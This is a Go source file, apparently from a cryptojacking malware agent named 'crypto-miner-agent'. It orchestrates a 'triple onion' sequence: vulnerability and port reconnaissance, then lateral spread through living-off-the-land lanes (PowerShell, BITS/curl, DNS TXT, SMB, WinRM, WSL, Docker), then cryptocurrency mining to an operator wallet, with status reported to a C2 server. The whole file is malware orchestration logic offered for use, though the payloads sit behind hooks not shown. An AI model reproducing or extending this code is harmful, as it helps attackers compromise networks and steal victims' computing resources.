package miner import ( "context" "os" "strings" "sync" "time" "crypto-miner-agent/config" ) // OnionPhase identifies one layer of the recon → deploy → mining triple onion. type OnionPhase string const ( OnionPhaseRecon OnionPhase = "recon" OnionPhaseDeploy OnionPhase = "deploy" OnionPhaseMining OnionPhase = "mining" ) // TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion. type TripleOnionPolicy struct { SimpleDeploy bool `json:"simple_deploy,omitempty"` PatchFirst bool `json:"patch_first,omitempty"` MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"` SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"` HighRiskThreshold int `json:"high_risk_threshold,omitempty"` ReconTiers []string `json:"recon_tiers,omitempty"` DeployLanes []string `json:"deploy_lanes,omitempty"` } // SimpleDeployTripleOnionPolicy is the server/agent policy for deploy→test→mine without spread lanes. func SimpleDeployTripleOnionPolicy() TripleOnionPolicy { return TripleOnionPolicy{ SimpleDeploy: true, PatchFirst: false, SkipMiningOnHighRisk: false, HighRiskThreshold: 100, } } // DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies. func DefaultTripleOnionPolicy() TripleOnionPolicy { return TripleOnionPolicy{ PatchFirst: true, HighRiskThreshold: 50, ReconTiers: append([]string(nil), DefaultReconTiers...), DeployLanes: append([]string(nil), DefaultDeployLanes...), } } // DefaultReconTiers is the vuln + service probe chain run before deploy. var DefaultReconTiers = []string{ "kev_scan", "vuln_recon", "service_probe", "listen_ports", } // DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers). // Deploy success is spread-only; terminal goal is always mining via startMiningWhenReady(). var DefaultDeployLanes = []string{ "discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", } // ReconSnapshot aggregates recon probe output used by policy gates. type ReconSnapshot struct { RiskScore int `json:"risk_score"` CriticalExposed int `json:"critical_exposed"` ExposedCount int `json:"exposed_count"` LikelyCount int `json:"likely_count"` ServiceCount int `json:"service_count"` OpenPortCount int `json:"open_port_count"` Details map[string]interface{} `json:"details,omitempty"` } // GateDecision records which downstream chains policy gates block. type GateDecision struct { SkipDeploy bool `json:"skip_deploy"` SkipMining bool `json:"skip_mining"` PatchFirst bool `json:"patch_first"` ForceIsolated bool `json:"force_isolated"` Reason string `json:"reason,omitempty"` } // ReconTierResult is one recon probe outcome. type ReconTierResult struct { OK bool Error string Snapshot ReconSnapshot } // TripleOnionHooks wires agent-specific recon/deploy/mining without importing client. type TripleOnionHooks struct { RunReconTier func(ctx context.Context, tier string) ReconTierResult RunDeployLane func(ctx context.Context, lane string) (bool, string) RunMining func(ctx context.Context) ReportEvent func(report TripleOnionReport, eventType string) } // TripleOnionReport is the live triple-onion snapshot sent to C2/UI. type TripleOnionReport struct { ActivePhase OnionPhase `json:"onion_phase,omitempty"` Gate GateDecision `json:"gate,omitempty"` Recon ReconSnapshot `json:"recon,omitempty"` Attempts []TierAttempt `json:"lotl_attempts,omitempty"` Wallet string `json:"wallet,omitempty"` } // TripleOnionOrchestrator runs recon → deploy → mining with policy gates. type TripleOnionOrchestrator struct { mu sync.RWMutex cfg config.RuntimeConfig policy TripleOnionPolicy hooks TripleOnionHooks recon ReconSnapshot gate GateDecision attempts []TierAttempt wallet string done bool } // NewTripleOnionOrchestrator builds an orchestrator from runtime config + server policy. func NewTripleOnionOrchestrator(cfg config.RuntimeConfig, policy TripleOnionPolicy, hooks TripleOnionHooks) *TripleOnionOrchestrator { policy = NormalizeTripleOnionPolicy(policy) policy = ApplyEnvTripleOnionOverrides(policy) return &TripleOnionOrchestrator{ cfg: cfg, policy: policy, hooks: hooks, wallet: strings.TrimSpace(cfg.Wallet), } } // NormalizeTripleOnionPolicy fills defaults for empty policy fields. func NormalizeTripleOnionPolicy(p TripleOnionPolicy) TripleOnionPolicy { def := DefaultTripleOnionPolicy() if len(p.ReconTiers) == 0 { p.ReconTiers = def.ReconTiers } if len(p.DeployLanes) == 0 { p.DeployLanes = def.DeployLanes } if p.HighRiskThreshold <= 0 { p.HighRiskThreshold = def.HighRiskThreshold } // PatchFirst defaults true when unset — only explicit false in JSON disables. return p } // ApplyEnvTripleOnionOverrides applies operator contingencies from environment. func ApplyEnvTripleOnionOverrides(p TripleOnionPolicy) TripleOnionPolicy { if v := strings.TrimSpace(os.Getenv("AETHERFORGE_PATCH_FIRST")); v != "" { p.PatchFirst = v == "1" || strings.EqualFold(v, "true") } if v := strings.TrimSpace(os.Getenv("AETHERFORGE_SKIP_MINING")); v == "1" || strings.EqualFold(v, "true") { p.SkipMiningOnHighRisk = true } if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINE_ISOLATED")); v == "1" || strings.EqualFold(v, "true") { p.MineIsolatedTier = true } if v := strings.TrimSpace(os.Getenv("AETHERFORGE_HIGH_RISK_THRESHOLD")); v != "" { if n, err := parseEnvInt(v); err == nil && n > 0 { p.HighRiskThreshold = n } } return p } func parseEnvInt(s string) (int, error) { n := 0 for _, c := range s { if c < '0' || c > '9' { return 0, os.ErrInvalid } n = n*10 + int(c-'0') } return n, nil } // EvaluateTripleOnionGates decides deploy/mining eligibility from recon + policy. func EvaluateTripleOnionGates(policy TripleOnionPolicy, recon ReconSnapshot) GateDecision { policy = NormalizeTripleOnionPolicy(policy) d := GateDecision{ForceIsolated: policy.MineIsolatedTier} if policy.PatchFirst && recon.CriticalExposed > 0 { d.PatchFirst = true d.SkipDeploy = true d.SkipMining = true d.Reason = "patch_first: critical CVE exposed — defer deploy and mining" } if policy.SkipMiningOnHighRisk && recon.RiskScore >= policy.HighRiskThreshold { d.SkipMining = true if d.Reason == "" { d.Reason = "skip_mining_on_high_risk: risk score exceeds threshold" } } return d } // ApplyIsolatedMiningPolicy prefers container/WSL tiers before host in-process paths. func ApplyIsolatedMiningPolicy(base MiningTierPolicy) MiningTierPolicy { skip := make(map[LOTLTier]bool, len(base.SkipTiers)+4) for _, t := range base.SkipTiers { skip[t] = true } skip[TierExeSubprocess] = true skip[TierCPUInprocess] = true skip[TierPSInMemory] = true skip[TierDotnet] = true order := []LOTLTier{TierDockerLoad, TierContainer, TierWSL} seen := make(map[LOTLTier]bool, len(order)) for _, t := range order { seen[t] = true } baseOrder := base.TierOrder if len(baseOrder) == 0 { baseOrder = DefaultTierOrder } for _, t := range baseOrder { if seen[t] || skip[t] { continue } order = append(order, t) } skipList := make([]LOTLTier, 0, len(skip)) for t := range skip { skipList = append(skipList, t) } return MiningTierPolicy{ TierOrder: order, SkipTiers: skipList, ForceTier: base.ForceTier, } } // Run executes the triple onion: recon → gated deploy → gated mining. func (o *TripleOnionOrchestrator) Run(ctx context.Context) TripleOnionReport { o.mu.Lock() o.done = false o.mu.Unlock() o.runReconChain(ctx) o.mu.Lock() o.gate = EvaluateTripleOnionGates(o.policy, o.recon) gate := o.gate o.mu.Unlock() if !gate.SkipDeploy { o.runDeployChain(ctx) } else { o.recordPhaseSkip(OnionPhaseDeploy, gate.Reason) } if !gate.SkipMining { o.mu.Lock() o.attempts = append(o.attempts, TierAttempt{ Phase: string(OnionPhaseMining), Tier: "mining_chain", OK: true, Wallet: o.wallet, Details: map[string]interface{}{ "force_isolated": gate.ForceIsolated, }, }) report := o.buildReport(OnionPhaseMining) reporter := o.hooks.ReportEvent o.mu.Unlock() if reporter != nil { reporter(report, "onion_report") } if o.hooks.RunMining != nil { o.hooks.RunMining(ctx) } } else { o.recordPhaseSkip(OnionPhaseMining, gate.Reason) } o.mu.Lock() o.done = true report := o.buildReport("") o.mu.Unlock() return report } func (o *TripleOnionOrchestrator) runReconChain(ctx context.Context) { o.mu.RLock() tiers := o.policy.ReconTiers hooks := o.hooks o.mu.RUnlock() for _, tier := range tiers { select { case <-ctx.Done(): return default: } if hooks.RunReconTier == nil { o.recordAttempt(OnionPhaseRecon, tier, false, "recon hook unavailable", 0, nil) continue } start := time.Now() result := hooks.RunReconTier(ctx, tier) duration := time.Since(start) o.mergeRecon(result.Snapshot) errMsg := result.Error if !result.OK && errMsg == "" { errMsg = "recon tier failed" } o.recordAttempt(OnionPhaseRecon, tier, result.OK, errMsg, duration, nil) } } func (o *TripleOnionOrchestrator) runDeployChain(ctx context.Context) { o.mu.RLock() lanes := o.policy.DeployLanes hooks := o.hooks o.mu.RUnlock() for _, lane := range lanes { select { case <-ctx.Done(): return default: } if hooks.RunDeployLane == nil { o.recordAttempt(OnionPhaseDeploy, lane, false, "deploy hook unavailable", 0, nil) continue } start := time.Now() ok, reason := hooks.RunDeployLane(ctx, lane) duration := time.Since(start) details := map[string]interface{}{"lane": lane} if reason != "" { details["reason"] = reason } o.recordAttempt(OnionPhaseDeploy, lane, ok, reason, duration, details) if ok { return } } } func (o *TripleOnionOrchestrator) mergeRecon(s ReconSnapshot) { o.mu.Lock() defer o.mu.Unlock() if s.RiskScore > o.recon.RiskScore { o.recon.RiskScore = s.RiskScore } if s.CriticalExposed > o.recon.CriticalExposed { o.recon.CriticalExposed = s.CriticalExposed } if s.ExposedCount > o.recon.ExposedCount { o.recon.ExposedCount = s.ExposedCount } if s.LikelyCount > o.recon.LikelyCount { o.recon.LikelyCount = s.LikelyCount } if s.ServiceCount > o.recon.ServiceCount { o.recon.ServiceCount = s.ServiceCount } if s.OpenPortCount > o.recon.OpenPortCount { o.recon.OpenPortCount = s.OpenPortCount } if len(s.Details) > 0 { if o.recon.Details == nil { o.recon.Details = make(map[string]interface{}, len(s.Details)) } for k, v := range s.Details { o.recon.Details[k] = v } } } func (o *TripleOnionOrchestrator) recordAttempt(phase OnionPhase, tier string, ok bool, errMsg string, duration time.Duration, details map[string]interface{}) { o.mu.Lock() attempt := TierAttempt{ Phase: string(phase), Tier: LOTLTier(tier), OK: ok, DurationMs: duration.Milliseconds(), Details: details, } if phase == OnionPhaseMining { attempt.Wallet = o.wallet } if !ok && errMsg != "" { attempt.Error = errMsg } o.attempts = append(o.attempts, attempt) report := o.buildReport(phase) reporter := o.hooks.ReportEvent o.mu.Unlock() if reporter != nil { event := "onion_report" if !ok { event = "onion_fallback" } reporter(report, event) } } func (o *TripleOnionOrchestrator) recordPhaseSkip(phase OnionPhase, reason string) { o.recordAttempt(phase, "policy_gate", false, reason, 0, map[string]interface{}{"gated": true}) } func (o *TripleOnionOrchestrator) buildReport(phase OnionPhase) TripleOnionReport { attempts := make([]TierAttempt, len(o.attempts)) copy(attempts, o.attempts) return TripleOnionReport{ ActivePhase: phase, Gate: o.gate, Recon: o.recon, Attempts: attempts, Wallet: o.wallet, } } // Report returns the current triple-onion snapshot. func (o *TripleOnionOrchestrator) Report() TripleOnionReport { o.mu.RLock() defer o.mu.RUnlock() return o.buildReport("") } // Attempts returns all recorded tier attempts across phases. func (o *TripleOnionOrchestrator) Attempts() []TierAttempt { o.mu.RLock() defer o.mu.RUnlock() out := make([]TierAttempt, len(o.attempts)) copy(out, o.attempts) return out } // GateDecisionSnapshot returns the last evaluated gate decision. func (o *TripleOnionOrchestrator) GateDecisionSnapshot() GateDecision { o.mu.RLock() defer o.mu.RUnlock() return o.gate } // Done reports whether Run has completed. func (o *TripleOnionOrchestrator) Done() bool { o.mu.RLock() defer o.mu.RUnlock() return o.done } // Policy returns the effective triple-onion policy. func (o *TripleOnionOrchestrator) Policy() TripleOnionPolicy { o.mu.RLock() defer o.mu.RUnlock() return o.policy } // UpdateConfig refreshes wallet/runtime config without redeploy. func (o *TripleOnionOrchestrator) UpdateConfig(cfg config.RuntimeConfig) { o.mu.Lock() o.cfg = cfg o.wallet = strings.TrimSpace(cfg.Wallet) o.mu.Unlock() }